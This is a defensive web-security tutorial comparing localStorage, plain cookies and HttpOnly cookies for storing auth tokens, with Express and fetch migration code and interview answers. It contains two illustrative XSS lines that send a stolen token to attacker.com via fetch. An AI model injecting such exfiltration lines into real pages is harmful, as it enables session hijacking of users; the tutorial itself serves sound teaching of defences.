Where Should You Store User Tokens? LocalStorage vs HttpOnly Cookies Explained

Learn the pros and cons of storing user tokens in localStorage, regular cookies, and HttpOnly cookies, understand XSS and CSRF risks, see practical migration steps, and get concise interview answers to impress hiring managers.

Rare Earth Juejin Tech Community
Rare Earth Juejin Tech Community
Rare Earth Juejin Tech Community
Where Should You Store User Tokens? LocalStorage vs HttpOnly Cookies Explained

Three storage methods at a glance

The front‑end can keep a token in three common ways: localStorage , a regular Cookie , or an HttpOnly Cookie . Each has different security characteristics regarding XSS (cross‑site scripting) and CSRF (cross‑site request forgery).

localStorage – convenient but vulnerable

Typical code stores the token after login:

// login success
localStorage.setItem('token', response.accessToken);
// later use the token
const token = localStorage.getItem('token');
fetch('/api/user', { headers: { Authorization: `Bearer ${token}` } });

Because JavaScript can read localStorage, any XSS injection can steal the token with a single line:

// malicious script
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

In real projects XSS bugs appear frequently—unescaped innerHTML, third‑party scripts, or raw JSON inserted into HTML—making this storage method unsafe for sensitive data.

Regular Cookie – still readable and CSRF‑prone

Setting a normal cookie looks like:

// set cookie
document.cookie = `token=${response.accessToken}; path=/`;
// attacker can read it
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

The cookie is readable by JavaScript (XSS) and is automatically sent with every request, so CSRF attacks succeed as well.

HttpOnly Cookie – blocks XSS token theft

Setting the cookie on the server (Node.js example) with security flags:

res.cookie('access_token', token, {
  httpOnly: true,   // not accessible to JS
  secure: true,     // only over HTTPS
  sameSite: 'lax',  // mitigates CSRF
  maxAge: 3600000  // 1 hour
});

Because httpOnly: true, document.cookie cannot see the token, so XSS cannot exfiltrate it. The browser automatically includes the cookie on requests:

fetch('/api/user', { credentials: 'include' });

CSRF mitigation with SameSite and optional token

Setting sameSite: 'lax' stops most CSRF attacks. For stricter protection, add a CSRF token header:

// server generates CSRF token
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken); // not HttpOnly, front‑end reads it
// front‑end sends token
fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X‑CSRF‑Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1] },
  credentials: 'include'
});
// server validates
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

Why prefer HttpOnly Cookie despite CSRF

XSS attacks have a far broader attack surface—any unescaped user input, third‑party script, rich‑text editor, markdown rendering, or direct JSON injection can lead to token theft. CSRF, by contrast, is easier to defend: a single sameSite: lax line or an additional CSRF token covers the majority of cases.

Migrating from localStorage to HttpOnly Cookie

Backend changes

Replace the JSON token response with a Set‑Cookie header:

// before
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});
// after
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

Frontend changes

Stop sending the token manually; let the browser attach the cookie automatically:

// before
fetch('/api/user', { headers: { Authorization: `Bearer ${localStorage.getItem('token')}` } });
// after
fetch('/api/user', { credentials: 'include' });

For Axios, enable credentials globally:

axios.defaults.withCredentials = true;

Logout handling

Clear the cookie on the server:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

If you must stay with localStorage (short‑term fixes)

Strict XSS prevention

Use textContent instead of innerHTML.

Escape all user input.

Configure CSP headers.

Sanitize rich‑text with DOMPurify.

Short token lifespan

Access token expires in 15‑30 minutes.

Use a refresh‑token flow.

Secondary verification for sensitive actions

Require password or SMS verification for transfers, password changes, etc.

Monitor abnormal behavior

Alert on simultaneous logins from different locations.

Detect unusual token usage patterns.

Interview answer snippets

Concise (30 s) :

Recommend HttpOnly Cookie because XSS is harder to defend than CSRF – a single unescaped innerHTML can leak the token, while adding SameSite: Lax stops most CSRF. HttpOnly blocks JavaScript from reading the token; you only need to handle CSRF.

Full version (1‑2 min) :

Token storage has three common options: localStorage, regular Cookie, and HttpOnly Cookie. localStorage is convenient but XSS can read it directly. Regular Cookie is even worse – XSS can read it and the browser automatically sends it, enabling CSRF. HttpOnly Cookie with httpOnly: true makes the token invisible to JavaScript, eliminating XSS theft. Although the cookie is sent automatically, CSRF can be mitigated with SameSite: Lax (or a CSRF token for stricter cases). Thus, the safest practical solution is HttpOnly Cookie combined with SameSite and other defense‑in‑depth measures (CSP, input validation, etc.).
Token storage comparison diagram
Token storage comparison diagram
CSRF attack illustration
CSRF attack illustration
CSRFXSSweb securityHttpOnly cookiefrontend authenticationtoken storage
Rare Earth Juejin Tech Community
Written by

Rare Earth Juejin Tech Community

Juejin, a tech community that helps developers grow.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.